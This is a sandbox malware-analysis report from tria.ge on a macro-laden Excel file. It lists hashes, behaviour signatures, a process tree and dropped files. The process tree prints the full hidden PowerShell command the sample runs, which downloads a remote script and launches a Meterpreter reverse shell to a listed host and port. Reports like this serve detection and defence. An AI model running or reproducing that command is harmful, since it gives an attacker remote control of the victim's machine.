Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    24s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    08/07/2024, 21:48

General

  • Target

    0bd49dc6f7efe68080f65faf5fdff91f443dd1b4ca93cc9abeb8f15c8889d408.xls

  • Size

    44KB

  • MD5

    7770cf4869f3f257d6c2d3748dd06e86

  • SHA1

    1a337015605b91ada1464d586f8d15be8c851d33

  • SHA256

    0bd49dc6f7efe68080f65faf5fdff91f443dd1b4ca93cc9abeb8f15c8889d408

  • SHA512

    5520e4c7bf1eb1dfd37b6b30f6f787976fc7c5a0ef53152680c7040d2a78f889d7ce7d026020544cddf1eed7d3e6b4ea6031234bcf89c4589ba2b6d69e570a82

  • SSDEEP

    768:ptvo+hzsk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJliNWUuFSmQQcsrJ9acf9acyL:xak3hbdlylKsgqopeJBWhZFGkE+cL2NT

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\0bd49dc6f7efe68080f65faf5fdff91f443dd1b4ca93cc9abeb8f15c8889d408.xls
    1⤵
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1620
    • C:\Windows\SysWOW64\wscript.exe
      wscript C:\Users\Public\config.vbs
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2060
      • C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2548
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2764

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QNRSF99ZSYOAXCB2DI6Y.temp

    Filesize

    7KB

    MD5

    4ad0fb9c4ce617144005fdf906d6b7e6

    SHA1

    ca87911a0d9b95525c5cb544772c640492f6523e

    SHA256

    7346ea1c95884989a7f55f24cacc884eb135787960cdab54d47aed0b720aa11e

    SHA512

    f6a8c4116639a82b64f92576a558125691b22a6429bf78c830694fd7ab0d00da178fa0c0874a43f34d4732da4d2292bc20cbdcf275a62c37ea0a9613066b701c

  • C:\Users\Public\config.vbs

    Filesize

    461B

    MD5

    ce52ab154163c511f0efa6a61e22ab64

    SHA1

    9f12cc215e15802eddcb02cb5370ef16b21fa3a6

    SHA256

    df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17

    SHA512

    cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78

  • memory/1620-37-0x0000000006CF0000-0x0000000006DF0000-memory.dmp

    Filesize

    1024KB

  • memory/1620-18-0x0000000006CF0000-0x0000000006DF0000-memory.dmp

    Filesize

    1024KB

  • memory/1620-39-0x0000000006CF0000-0x0000000006DF0000-memory.dmp

    Filesize

    1024KB

  • memory/1620-38-0x0000000006CF0000-0x0000000006DF0000-memory.dmp

    Filesize

    1024KB

  • memory/1620-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1620-17-0x0000000006CF0000-0x0000000006DF0000-memory.dmp

    Filesize

    1024KB

  • memory/1620-1-0x00000000728FD000-0x0000000072908000-memory.dmp

    Filesize

    44KB

  • memory/1620-49-0x00000000728FD000-0x0000000072908000-memory.dmp

    Filesize

    44KB

  • memory/1620-50-0x0000000006CF0000-0x0000000006DF0000-memory.dmp

    Filesize

    1024KB

  • memory/1620-51-0x0000000006CF0000-0x0000000006DF0000-memory.dmp

    Filesize

    1024KB

  • memory/1620-52-0x0000000006CF0000-0x0000000006DF0000-memory.dmp

    Filesize

    1024KB

  • memory/2764-45-0x000000001B5B0000-0x000000001B892000-memory.dmp

    Filesize

    2.9MB

  • memory/2764-46-0x0000000002910000-0x0000000002918000-memory.dmp

    Filesize

    32KB